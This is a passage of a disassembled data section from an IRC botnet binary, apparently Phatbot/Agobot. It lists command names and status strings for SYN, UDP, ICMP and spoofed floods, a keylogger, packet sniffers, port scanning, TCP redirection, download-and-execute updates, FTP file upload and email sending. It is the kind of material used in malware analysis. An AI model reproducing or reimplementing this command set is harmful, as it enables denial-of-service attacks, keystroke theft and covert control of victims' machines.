aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 unk_42A3B4 db 2Dh ; - ; DATA XREF: sub_401ACD+7180o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_42A3D0 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401ACD+710Eo dword_42A3E4 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o ; sub_401ACD+7C47o unk_42A3F0 db 2Dh ; - ; DATA XREF: sub_401ACD+70AFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Eo align 4 dword_42A418 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+7073o dd 25203A29h, 73h dword_42A434 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+7004o dd 203A2973h, 7325h dword_42A450 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FA9o dword_42A458 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6F79o dd 203A2973h, 7325h dword_42A474 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o dword_42A480 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECEo ; sub_401ACD+6F57o ... dword_42A488 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E95o dword_42A490 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E84o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42A4CC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E15o aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_42A4F8 db 2Dh ; - ; DATA XREF: sub_401ACD+6D85o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A534 db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Ao db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_42A568 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408745o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 dword_42A59C dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: sub_401ACD+6C3Do dd 7325h dword_42A5B4 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401ACD:loc_408673o dword_42A5C8 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B62o ; sub_401ACD+6C14o ... dword_42A5D8 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D0o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 10h dword_42A620 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AF9o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_42A65C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Ao aDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E2o align 4 dword_42A694 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+6980o dd 7325203Ah, 0 unk_42A6B0 db 2Dh ; - ; DATA XREF: sub_401ACD+6975o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42A6D4 db 2Dh ; - ; DATA XREF: sub_401ACD+68DBo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A710 db 2Dh ; - ; DATA XREF: sub_401ACD+6865o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 10h dword_42A740 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Bo ; sub_401ACD:loc_409366o unk_42A74C db 2Dh ; - ; DATA XREF: sub_401ACD+6789o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h unk_42A770 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408234o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42A7A8 db 2Dh ; - ; DATA XREF: sub_401ACD+675Do db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A7E0 db 2Dh ; - ; DATA XREF: sub_401ACD+66EDo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A80C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Ao aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42A848 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FBo aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42A878 db 2Dh ; - ; DATA XREF: sub_401ACD+6582o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A8B0 db 2Dh ; - ; DATA XREF: sub_401ACD+6513o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A8E0 db 2Dh ; - ; DATA XREF: sub_401ACD+6489o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A918 db 2Dh ; - ; DATA XREF: sub_401ACD+641Ao db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A948 db 2Dh ; - ; DATA XREF: sub_401ACD+63A1o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A980 db 2Dh ; - ; DATA XREF: sub_401ACD+6332o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A9BC db 2Dh ; - ; DATA XREF: sub_401ACD+62B9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 unk_42A9FC db 2Dh ; - ; DATA XREF: sub_401ACD+624Ao db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_42AA28 db 2Dh ; - ; DATA XREF: sub_401ACD+617Bo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42AA6C db 2Dh ; - ; DATA XREF: sub_401ACD+610Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42AAA8 db 2Dh ; - ; DATA XREF: sub_401ACD+600Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F63o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E86o align 4 dword_42AB04 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF2o ; sub_401ACD+715Ao unk_42AB10 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Eo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42AB4C db 2Dh ; - ; DATA XREF: sub_401ACD+5D1Fo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42AB9C db 2Dh ; - ; DATA XREF: sub_401ACD+5C88o ; sub_401ACD+607Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42ABD4 db 2Dh ; - ; DATA XREF: sub_401ACD+5C19o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_42AC3C db 2Dh ; - ; DATA XREF: sub_401ACD+5AA3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan, no IP specified.',0 align 10h unk_42AC70 db 2Dh ; - ; DATA XREF: sub_401ACD+5A46o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start scan, port is invalid.',0 align 4 unk_42ACA4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F3o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42ACD4 db 2Dh ; - ; DATA XREF: sub_401ACD+591Fo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5906o aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58EFo align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CCo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 10h aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A8o ; ___:00411C61o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5897o align 4 unk_42AD44 db 2Dh ; - ; DATA XREF: sub_401ACD+584Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Ao align 4 unk_42AD6C db 2Dh ; - ; DATA XREF: sub_401ACD+57F4o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 4 unk_42ADAC db 2Dh ; - ; DATA XREF: sub_401ACD+5797o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42ADE4 db 2Dh ; - ; DATA XREF: sub_401ACD+572Co db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42AE2C db 2Dh ; - ; DATA XREF: sub_401ACD+567Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h unk_42AE60 db 2Dh ; - ; DATA XREF: sub_401ACD+5647o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42AE94 db 2Dh ; - ; DATA XREF: sub_401ACD+5623o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42AECC db 2Dh ; - ; DATA XREF: sub_401ACD+5581o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o align 10h unk_42AF20 db 2Dh ; - ; DATA XREF: sub_401ACD+554Fo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42AF58 db 2Dh ; - ; DATA XREF: sub_401ACD+54E0o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_42AFA0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406EFFo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42AFD8 db 2Dh ; - ; DATA XREF: sub_401ACD+5428o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42B010 db 2Dh ; - ; DATA XREF: sub_401ACD+53AEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Eo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5397o unk_42B054 db 2Dh ; - ; DATA XREF: sub_401ACD+52FCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52ECo align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D5o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+525Fo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Co unk_42B09C db 2Dh ; - ; DATA XREF: sub_401ACD+51FDo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+5189o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Eo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5087o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5070o align 4 aP: ; DATA XREF: sub_401ACD+5059o ; ___:004382D0o ... unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5042o align 10h aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Bo align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+5014o align 10h aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFDo aU: ; DATA XREF: sub_401ACD+4FE6o ; ___:004382C8o ... unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FCFo aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB8o align 4 aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Ao aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F73o aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Co align 4 aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F36o aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F1Fo align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F08o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF1o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDAo align 4 aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC3o align 4 aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EACo align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E95o align 4 aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Eo align 4 aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E67o aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E50o align 4 aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E39o align 4 dword_42B1D8 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Co aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42B214 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBDo aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Ao align 4 aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D23o ; sub_401ACD+52BDo aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Co align 4 unk_42B25C db 2Dh ; - ; DATA XREF: sub_401ACD+4CFFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 4 aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C28o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C11o ; sub_412B08:loc_412C34o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFAo ; sub_412B08:loc_412C18o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE3o ; sub_412B08+F1o align 4 aC: ; DATA XREF: sub_401ACD+4BCCo ; ___:00438300o ... unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB5o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Co align 10h aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B75o align 4 aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Eo align 10h aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B47o align 4 aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B30o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B19o align 4 aE: ; DATA XREF: sub_401ACD+4B02o ; ___:004382B8o ... unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AEBo aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD4o align 4 aJpDe100 db 'jp]de100',0 ; DATA XREF: sub_401ACD+4ABDo align 4 aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA6o align 4 aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A8Fo align 4 aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A78o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A61o ; sub_401ACD+6BE7o align 10h aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Ao aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A33o aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Co align 10h aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A05o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EEo aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D7o align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C0o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49A9o align 10h aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4992o aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Bo align 4 aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4964o aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Do align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4936o aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+491Fo align 4 aM: ; DATA XREF: sub_401ACD+4908o ; ___:00438310o ... unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DAo align 4 aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C3o align 4 aA: ; DATA XREF: sub_401ACD+48ACo ; ___:004382D4o unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+4895o align 10h aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4867o aAa db 'aa',0 ; DATA XREF: sub_401ACD+4850o align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4839o align 4 aKl db 'kl',0 ; DATA XREF: sub_401ACD+4822o align 4 aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Bo aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E2o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CDo aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B8o aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A3o unk_42B3EC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406265o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42B408 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401ACD+475Eo ; sub_409B12+5F0o align 4 unk_42B434 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42B454 db 2Dh ; - ; DATA XREF: sub_401ACD+4747o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_42B474 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406193o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42B494 db 2Dh ; - ; DATA XREF: sub_401ACD+46BCo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 4 aShare db 'share',0 ; DATA XREF: sub_401ACD+466Eo align 10h aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Ao align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+4610o align 4 aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F6o align 4 unk_42B4DC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42B4FC db 2Dh ; - ; DATA XREF: sub_401ACD+45DFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 10h aStart db 'start',0 ; DATA XREF: sub_401ACD+45A9o align 4 unk_42B528 db 2Dh ; - ; DATA XREF: sub_401ACD+4577o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4553o dword_42B564 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4548o aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 10h dword_42B5A0 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44D9o aKeyLoggerActiv db '- Key logger active.',0 align 4 dword_42B5C4 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4457o aAlreadyRunning db '- Already running.',0 align 4 dword_42B5E4 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Eo aNoKeyLoggerThr db '- No key logger thread found.',0 align 10h dword_42B610 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4437o aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_401ACD+43F8o align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D6o align 4 dword_42B65C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E98o aNoThreadFound_ db '- No thread found.',0 align 4 dword_42B67C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42B6B4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4391o aFailedToSta_16 db '- Failed to start server, error: <%d>.',0 align 4 dword_42B6E8 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4344o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B714 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4334o aAlreadyRunni_0 db '- Already running.',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4301o align 4 unk_42B73C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC3o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 unk_42B76C db 2Dh ; - ; DATA XREF: sub_401ACD+42ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_42B7AC db 2Dh ; - ; DATA XREF: sub_401ACD+42BCo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+424Do db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 4 unk_42B818 db 2Dh ; - ; DATA XREF: sub_401ACD+41E6o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_1 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41AFo dword_42B840 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C71o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B86C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Ao aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 4 dword_42B8A8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Ao aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42B8E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FBo aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B914 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4094o aAlreadyRunni_2 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401ACD+4074o ; sub_401ACD+41C6o ... align 4 aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Do align 10h aRf db 'rf',0 ; DATA XREF: sub_401ACD+4048o align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4033o align 10h aCm db 'cm',0 ; DATA XREF: 